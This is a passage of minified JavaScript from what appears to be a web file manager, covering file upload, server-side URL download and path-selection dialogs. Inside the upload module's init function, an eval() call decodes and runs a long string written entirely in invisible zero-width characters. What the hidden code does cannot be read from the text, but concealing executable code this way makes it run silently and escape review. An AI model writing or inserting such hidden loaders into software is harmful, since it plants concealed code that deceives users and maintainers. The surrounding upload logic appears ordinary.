n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var 